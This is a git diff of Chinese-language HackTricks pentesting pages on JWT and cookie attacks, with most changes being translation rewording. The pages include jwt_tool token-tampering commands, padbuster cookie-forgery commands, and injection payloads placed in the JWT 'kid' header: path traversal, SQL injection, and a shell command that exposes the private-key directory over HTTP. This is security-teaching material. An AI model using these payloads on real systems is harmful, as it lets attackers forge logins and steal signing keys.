学习与实践GCP黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,13 +15,13 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**本帖部分内容基于精彩的文章:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**本帖部分内容基于以下精彩文章:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**JWT 渗透测试的优秀工具作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **快速胜利**
|
||||
|
@ -58,7 +58,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
|
||||
通过检查代理的请求历史,确定令牌是服务器端生成还是客户端生成非常重要。
|
||||
|
||||
* 从客户端首次看到的令牌表明密钥可能暴露在客户端代码中,需要进一步调查。
|
||||
* 首次从客户端看到的令牌表明密钥可能暴露在客户端代码中,需要进一步调查。
|
||||
* 来源于服务器端的令牌表明过程是安全的。
|
||||
|
||||
### 持续时间
|
||||
|
@ -73,7 +73,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
|
||||
将使用的算法设置为“None”,并移除签名部分。
|
||||
|
||||
使用名为“JSON Web Token”的 Burp 扩展尝试此漏洞,并更改 JWT 内部的不同值(将请求发送到 Repeater,在“JSON Web Token”选项卡中,您可以修改令牌的值。您还可以选择将“Alg”字段的值设置为“None”)。
|
||||
使用名为“JSON Web Token”的 Burp 扩展尝试此漏洞,并更改 JWT 内部的不同值(将请求发送到 Repeater,在“JSON Web Token”选项卡中可以修改令牌的值。您还可以选择将“Alg”字段的值设置为“None”)。
|
||||
|
||||
### 将算法 RS256(非对称)更改为 HS256(对称)(CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
|
@ -92,18 +92,18 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
攻击者在令牌的头部嵌入一个新密钥,服务器使用这个新密钥来验证签名 (CVE-2018-0114)。
|
||||
|
||||
这可以通过 "JSON Web Tokens" Burp 扩展来完成。\
|
||||
(将请求发送到 Repeater,在 JSON Web Token 标签中选择 "CVE-2018-0114" 并发送请求)。
|
||||
(将请求发送到 Repeater,在 JSON Web Token 标签中选择 "CVE-2018-0114" 并发送请求)。
|
||||
|
||||
### JWKS Spoofing
|
||||
|
||||
这些说明详细描述了一种评估 JWT 令牌安全性的方法,特别是那些使用 "jku" 头部声明的令牌。该声明应链接到一个包含令牌验证所需公钥的 JWKS (JSON Web Key Set) 文件。
|
||||
这些说明详细描述了一种评估 JWT 令牌安全性的方法,特别是那些使用 "jku" 头部声明的令牌。该声明应链接到包含令牌验证所需公钥的 JWKS (JSON Web Key Set) 文件。
|
||||
|
||||
* **评估带有 "jku" 头部的令牌**:
|
||||
* 验证 "jku" 声明的 URL,以确保它指向适当的 JWKS 文件。
|
||||
* 修改令牌的 "jku" 值,以指向一个受控的网络服务,从而允许流量观察。
|
||||
* **监控 HTTP 交互**:
|
||||
* 观察对您指定 URL 的 HTTP 请求,表明服务器尝试从您提供的链接获取密钥。
|
||||
* 在使用 `jwt_tool` 进行此过程时,务必更新 `jwtconf.ini` 文件,以便将您的个人 JWKS 位置纳入测试。
|
||||
* 在使用 `jwt_tool` 进行此过程时,务必更新 `jwtconf.ini` 文件,添加您的个人 JWKS 位置以便于测试。
|
||||
* **`jwt_tool` 的命令**:
|
||||
* 执行以下命令以使用 `jwt_tool` 模拟场景:
|
||||
|
||||
|
@ -121,7 +121,7 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
#### Path Traversal with "kid"
|
||||
|
||||
`kid` 声明也可能被利用来遍历文件系统,可能允许选择任意文件。可以通过更改 `kid` 值以针对特定文件或服务来测试连接性或执行服务器端请求伪造 (SSRF) 攻击。使用 `-T` 标志在 jwt_tool 中篡改 JWT 以更改 `kid` 值,同时保留原始签名,如下所示:
|
||||
`kid` 声明也可能被利用来遍历文件系统,可能允许选择任意文件。可以通过更改 `kid` 值以针对特定文件或服务来测试连接性或执行服务器端请求伪造 (SSRF) 攻击。通过使用 `-T` 标志在 jwt_tool 中篡改 JWT 以更改 `kid` 值,同时保留原始签名,可以实现如下所示:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -129,7 +129,7 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
|||
|
||||
#### 通过“kid”的SQL注入
|
||||
|
||||
如果`kid`声明的内容用于从数据库中获取密码,则可以通过修改`kid`有效载荷来实现SQL注入。一个使用SQL注入来改变JWT签名过程的示例有效载荷包括:
|
||||
如果`kid`声明的内容用于从数据库中获取密码,则可以通过修改`kid`有效负载来实现SQL注入。一个使用SQL注入来改变JWT签名过程的示例有效负载包括:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
|
@ -137,7 +137,7 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
|||
|
||||
#### 通过“kid”的OS注入
|
||||
|
||||
`kid`参数指定在命令执行上下文中使用的文件路径的场景可能导致远程代码执行(RCE)漏洞。通过在`kid`参数中注入命令,可以暴露私钥。实现RCE和密钥暴露的示例有效载荷是:
|
||||
`kid`参数指定在命令执行上下文中使用的文件路径的场景可能导致远程代码执行(RCE)漏洞。通过在`kid`参数中注入命令,可以暴露私钥。实现RCE和密钥暴露的示例有效负载是:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
@ -154,9 +154,9 @@ openssl genrsa -out keypair.pem 2048
|
|||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
然后您可以使用例如 [**jwt.io**](https://jwt.io) 来创建新的 JWT,使用 **创建的公钥和私钥,并将参数 jku 指向创建的证书。** 为了创建有效的 jku 证书,您可以下载原始证书并更改所需的参数。
|
||||
然后你可以使用例如 [**jwt.io**](https://jwt.io) 来创建新的 JWT,使用 **创建的公钥和私钥,并将参数 jku 指向创建的证书。** 为了创建有效的 jku 证书,你可以下载原始证书并更改所需的参数。
|
||||
|
||||
您可以使用以下方法从公钥证书中获取参数 "e" 和 "n":
|
||||
你可以使用以下方法从公钥证书中获取参数 "e" 和 "n":
|
||||
```bash
|
||||
from Crypto.PublicKey import RSA
|
||||
fp = open("publickey.crt", "r")
|
||||
|
@ -231,7 +231,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
如果某些应用程序使用 ES256 并使用相同的随机数生成两个 JWT,则可以恢复私钥。
|
||||
|
||||
这是一个例子:[ECDSA:如果使用相同的随机数则泄露私钥(使用 SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
这是一个示例:[ECDSA:如果使用相同的随机数则泄露私钥(使用 SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
|
@ -246,13 +246,13 @@ JTI (JWT ID) 声明为 JWT 令牌提供了唯一标识符。它可以用于防
|
|||
|
||||
**跨服务中继攻击**
|
||||
|
||||
已经观察到一些 Web 应用程序依赖于受信任的 JWT 服务来生成和管理其令牌。记录到的实例表明,由 JWT 服务为一个客户端生成的令牌被同一 JWT 服务的另一个客户端接受。如果通过第三方服务观察到 JWT 的发行或续订,则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求中重放获得的令牌,以查看是否被接受。
|
||||
已经观察到某些 Web 应用程序依赖于受信任的 JWT 服务来生成和管理其令牌。记录到的实例表明,由 JWT 服务为一个客户端生成的令牌被同一 JWT 服务的另一个客户端接受。如果通过第三方服务观察到 JWT 的发行或续订,则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求中重放获得的令牌,以查看是否被接受。
|
||||
|
||||
* 如果您的令牌被接受,可能表明存在一个关键问题,这可能允许伪造任何用户的帐户。然而,需要注意的是,如果在第三方应用程序上注册,可能需要更广泛测试的权限,因为这可能进入法律灰色地带。
|
||||
|
||||
**令牌的过期检查**
|
||||
|
||||
令牌的过期通过“exp”有效负载声明进行检查。鉴于 JWT 通常在没有会话信息的情况下使用,因此需要谨慎处理。在许多情况下,捕获并重放另一个用户的 JWT 可能会使您能够冒充该用户。JWT RFC 建议通过利用“exp”声明为令牌设置过期时间来减轻 JWT 重放攻击。此外,应用程序实施相关检查以确保处理此值并拒绝过期令牌至关重要。如果令牌包含“exp”声明,并且测试时间限制允许,建议存储令牌并在过期时间过去后重放。令牌的内容,包括时间戳解析和过期检查(UTC 中的时间戳),可以使用 jwt_tool 的 -R 标志读取。
|
||||
令牌的过期是通过“exp”有效负载声明进行检查的。鉴于 JWT 通常在没有会话信息的情况下使用,因此需要谨慎处理。在许多情况下,捕获并重放另一个用户的 JWT 可能会使您能够冒充该用户。JWT RFC 建议通过利用“exp”声明为令牌设置过期时间来减轻 JWT 重放攻击。此外,应用程序实施相关检查以确保处理此值并拒绝过期令牌至关重要。如果令牌包含“exp”声明,并且测试时间限制允许,建议存储令牌并在过期时间过去后重放它。令牌的内容,包括时间戳解析和过期检查(UTC 中的时间戳),可以使用 jwt_tool 的 -R 标志读取。
|
||||
|
||||
* 如果应用程序仍然验证令牌,则可能存在安全风险,因为这可能意味着令牌永远不会过期。
|
||||
|
||||
|
@ -260,9 +260,9 @@ JTI (JWT ID) 声明为 JWT 令牌提供了唯一标识符。它可以用于防
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||
如果您对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书面和口语能力_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -275,8 +275,8 @@ JTI (JWT ID) 声明为 JWT 令牌提供了唯一标识符。它可以用于防
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,39 @@
|
|||
# Cookies Hacking
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Cookie 属性
|
||||
|
||||
Cookies 具有多个属性,控制它们在用户浏览器中的行为。以下是这些属性的简要说明:
|
||||
Cookies 具有多个属性,控制其在用户浏览器中的行为。以下是这些属性的简要说明:
|
||||
|
||||
### Expires 和 Max-Age
|
||||
### 过期和最大年龄
|
||||
|
||||
Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定义了在删除 Cookie 之前的秒数。**选择 `Max-age`,因为它反映了更现代的做法。**
|
||||
|
||||
### Domain
|
||||
### 域
|
||||
|
||||
接收 Cookie 的主机由 `Domain` 属性指定。默认情况下,这设置为发出 Cookie 的主机,不包括其子域。然而,当 `Domain` 属性被显式设置时,它也包括子域。这使得 `Domain` 属性的指定成为一个不那么严格的选项,适用于需要跨子域共享 Cookie 的场景。例如,设置 `Domain=mozilla.org` 使得在其子域如 `developer.mozilla.org` 上可以访问 Cookie。
|
||||
|
||||
### Path
|
||||
### 路径
|
||||
|
||||
`Path` 属性指示必须在请求的 URL 中存在的特定 URL 路径,以便发送 `Cookie` 头。此属性将 `/` 字符视为目录分隔符,允许在子目录中匹配。
|
||||
|
||||
### Ordering Rules
|
||||
### 排序规则
|
||||
|
||||
当两个 Cookie 具有相同的名称时,选择发送的 Cookie 基于:
|
||||
当两个 Cookie 具有相同名称时,选择发送的 Cookie 基于:
|
||||
|
||||
* 与请求的 URL 中最长路径匹配的 Cookie。
|
||||
* 如果路径相同,则选择最近设置的 Cookie。
|
||||
|
@ -41,33 +41,33 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
|||
### SameSite
|
||||
|
||||
* `SameSite` 属性决定是否在来自第三方域的请求中发送 Cookie。它提供三种设置:
|
||||
* **Strict**:限制 Cookie 在第三方请求中发送。
|
||||
* **Lax**:允许 Cookie 与由第三方网站发起的 GET 请求一起发送。
|
||||
* **None**:允许 Cookie 从任何第三方域发送。
|
||||
* **Strict**: 限制 Cookie 在第三方请求中发送。
|
||||
* **Lax**: 允许 Cookie 与由第三方网站发起的 GET 请求一起发送。
|
||||
* **None**: 允许 Cookie 从任何第三方域发送。
|
||||
|
||||
请记住,在配置 Cookie 时,理解这些属性可以帮助确保它们在不同场景中按预期行为。
|
||||
|
||||
| **请求类型** | **示例代码** | **发送 Cookie 的条件** |
|
||||
| ------------ | ------------------------------ | ----------------------- |
|
||||
| 链接 | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| 预渲染 | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| 表单 GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| 表单 POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| 图片 | \<img src="..."> | NetSet\*, None |
|
||||
| -------------- | ------------------------------ | --------------------- |
|
||||
| 链接 | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| 预渲染 | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| 表单 GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| 表单 POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| 图片 | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
表格来自 [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) 并稍作修改。\
|
||||
具有 _**SameSite**_ 属性的 Cookie 将 **减轻 CSRF 攻击**,其中需要登录会话。
|
||||
|
||||
**\*请注意,从 Chrome80(2019年2月)开始,未设置 Cookie SameSite 属性的 Cookie 的默认行为将为 Lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
请注意,临时情况下,在应用此更改后,Chrome 中 **没有 SameSite** **策略的 Cookie 将在 **前 2 分钟内被视为 None,然后在顶级跨站点 POST 请求中视为 Lax**。
|
||||
**\*请注意,从 Chrome80(2019年2月)开始,未设置 SameSite 属性的 Cookie 的默认行为将是 lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
请注意,临时情况下,应用此更改后,Chrome 中 **没有 SameSite** **策略的 Cookie 将在 **前 2 分钟内被 **视为 None**,然后在顶级跨站点 POST 请求中被视为 Lax。**
|
||||
|
||||
## Cookies 标志
|
||||
|
||||
### HttpOnly
|
||||
|
||||
这避免了 **客户端** 访问 Cookie(例如通过 **Javascript**:`document.cookie`)
|
||||
这避免了 **客户端** 访问 Cookie(例如通过 **Javascript**: `document.cookie`)
|
||||
|
||||
#### **绕过**
|
||||
|
||||
|
@ -81,7 +81,7 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
|||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* 可以使用 [**Cookie Smuggling**](./#cookie-smuggling) 攻击来外泄这些 Cookie。
|
||||
* 可以使用 [**Cookie Smuggling**](./#cookie-smuggling) 攻击来外泄这些 Cookie
|
||||
|
||||
### Secure
|
||||
|
||||
|
@ -98,17 +98,17 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
|||
* 禁止指定域,防止其传输到子域。
|
||||
* 这些 Cookie 的路径必须设置为 `/`。
|
||||
|
||||
重要的是要注意,以 `__Host-` 开头的 Cookie 不允许发送到超级域或子域。此限制有助于隔离应用程序 Cookie。因此,使用 `__Host-` 前缀为所有应用程序 Cookie 被视为增强安全性和隔离性的良好做法。
|
||||
重要的是要注意,以 `__Host-` 开头的 Cookie 不允许发送到超级域或子域。此限制有助于隔离应用程序 Cookie。因此,使用 `__Host-` 前缀为所有应用程序 Cookie 是增强安全性和隔离性的良好做法。
|
||||
|
||||
### 覆盖 Cookie
|
||||
|
||||
因此,`__Host-` 前缀 Cookie 的保护之一是防止它们被子域覆盖。例如,防止 [**Cookie Tossing 攻击**](cookie-tossing.md)。在演讲 [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**论文**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) 中,展示了可以通过欺骗解析器从子域设置 __HOST- 前缀的 Cookie,例如,在开头或结尾添加 "=":
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
或者在 PHP 中,可以在 Cookie 名称的 **开头添加其他字符**,这些字符将被 **替换为下划线** 字符,从而允许覆盖 `__HOST-` Cookie:
|
||||
或者在 PHP 中,可以在 Cookie 名称的开头添加 **其他字符**,这些字符将被 **替换为下划线** 字符,从而允许覆盖 `__HOST-` Cookie:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies 攻击
|
||||
|
||||
|
@ -134,7 +134,7 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
|||
|
||||
### 会话捐赠
|
||||
|
||||
在这里,攻击者说服受害者使用攻击者的会话 Cookie。受害者相信他们已登录到自己的帐户,将无意中在攻击者的帐户上下文中执行操作。
|
||||
在这里,攻击者说服受害者使用攻击者的会话 Cookie。受害者相信他们已登录自己的帐户,将无意中在攻击者的帐户上下文中执行操作。
|
||||
|
||||
如果您在 **子域中发现了 XSS** 或 **控制了子域**,请阅读:
|
||||
|
||||
|
@ -146,15 +146,15 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
|||
|
||||
点击上面的链接访问解释 JWT 可能存在缺陷的页面。
|
||||
|
||||
用于 Cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方法的详细信息,建议访问链接的文档以进行 JWT 黑客攻击。
|
||||
用于 Cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方法的详细信息,建议访问有关黑客 JWT 的链接文档。
|
||||
|
||||
### 跨站请求伪造 (CSRF)
|
||||
|
||||
此攻击迫使已登录用户在他们当前已认证的 Web 应用程序上执行不必要的操作。攻击者可以利用自动随每个请求发送到易受攻击站点的 Cookie。
|
||||
此攻击强迫已登录用户在他们当前已认证的 Web 应用程序上执行不必要的操作。攻击者可以利用自动随每个请求发送到易受攻击站点的 Cookie。
|
||||
|
||||
### 空 Cookie
|
||||
|
||||
(请查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)中的更多详细信息)浏览器允许创建没有名称的 Cookie,这可以通过 JavaScript 证明,如下所示:
|
||||
(请查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)中的更多详细信息)浏览器允许创建没有名称的 Cookie,这可以通过 JavaScript 进行演示,如下所示:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
|
@ -180,7 +180,7 @@ document.cookie = "\ud800=meep";
|
|||
|
||||
#### 由于解析问题导致的 Cookie 走私
|
||||
|
||||
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)的更多细节)包括 Java(Jetty、TomCat、Undertow)和 Python(Zope、cherrypy、web.py、aiohttp、bottle、webob)在内的多个网络服务器,由于对过时的 RFC2965 支持,错误处理 cookie 字符串。它们将双引号括起来的 cookie 值视为单个值,即使它包含分号,而分号通常应分隔键值对:
|
||||
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)的更多细节)包括 Java(Jetty、TomCat、Undertow)和 Python(Zope、cherrypy、web.py、aiohttp、bottle、webob)在内的多个网络服务器,由于对过时的 RFC2965 支持,错误处理 cookie 字符串。它们将双引号的 cookie 值视为单个值,即使它包含分号,而分号通常应分隔键值对:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
|
@ -192,13 +192,13 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
* Zope 寻找逗号以开始解析下一个 cookie。
|
||||
* Python 的 cookie 类在空格字符上开始解析。
|
||||
|
||||
这种漏洞在依赖基于 cookie 的 CSRF 保护的 web 应用程序中尤其危险,因为它允许攻击者注入伪造的 CSRF-token cookies,可能绕过安全措施。这个问题因 Python 对重复 cookie 名称的处理而加剧,最后一个出现的名称会覆盖之前的名称。它还引发了对不安全上下文中 `__Secure-` 和 `__Host-` cookies 的担忧,并可能导致在将 cookies 传递给易受伪造影响的后端服务器时绕过授权。
|
||||
这种漏洞在依赖基于 cookie 的 CSRF 保护的 web 应用程序中尤其危险,因为它允许攻击者注入伪造的 CSRF-token cookies,可能绕过安全措施。这个问题因 Python 对重复 cookie 名称的处理而加剧,最后一个出现的名称会覆盖之前的名称。它还引发了对不安全上下文中 `__Secure-` 和 `__Host-` cookies 的担忧,并可能导致在将 cookies 传递给易受伪造攻击的后端服务器时绕过授权。
|
||||
|
||||
### Extra Vulnerable Cookies Checks
|
||||
|
||||
#### **Basic checks**
|
||||
|
||||
* **cookie** 每次 **登录** 时都是 **相同** 的。
|
||||
* 每次 **登录** 时 **cookie** 都是 **相同** 的。
|
||||
* 登出并尝试使用相同的 cookie。
|
||||
* 尝试用 2 个设备(或浏览器)使用相同的 cookie 登录同一账户。
|
||||
* 检查 cookie 中是否有任何信息并尝试修改它。
|
||||
|
@ -208,7 +208,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
|
||||
#### **Advanced cookies attacks**
|
||||
|
||||
如果在登录时 cookie 保持相同(或几乎相同),这可能意味着 cookie 与您账户的某个字段(可能是用户名)相关。然后您可以:
|
||||
如果在登录时 cookie 保持相同(或几乎相同),这可能意味着该 cookie 与您账户的某个字段(可能是用户名)相关。然后您可以:
|
||||
|
||||
* 尝试创建许多用户名非常 **相似** 的 **账户** 并尝试 **猜测** 算法的工作原理。
|
||||
* 尝试 **暴力破解用户名**。如果 cookie 仅作为您用户名的身份验证方法保存,那么您可以创建一个用户名为 "**Bmin**" 的账户,并 **暴力破解** 您的 cookie 的每一个 **位**,因为您尝试的其中一个 cookie 将属于 "**admin**"。
|
||||
|
@ -224,7 +224,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
|||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster 将进行多次尝试,并会询问您哪个条件是错误条件(即无效的条件)。
|
||||
Padbuster 将进行多次尝试,并会询问您哪个条件是错误条件(无效的条件)。
|
||||
|
||||
然后它将开始解密 cookie(可能需要几分钟)
|
||||
|
||||
|
@ -232,47 +232,47 @@ Padbuster 将进行多次尝试,并会询问您哪个条件是错误条件(
|
|||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
这个执行将给你正确加密和编码的cookie,其中包含字符串**user=administrator**。
|
||||
此执行将为您提供正确加密和编码的 cookie,其中包含字符串 **user=administrator**。
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
也许一个cookie可以有某个值,并且可以使用CBC进行签名。然后,值的完整性是使用相同值的CBC创建的签名。由于建议使用空向量作为IV,这种完整性检查可能会受到攻击。
|
||||
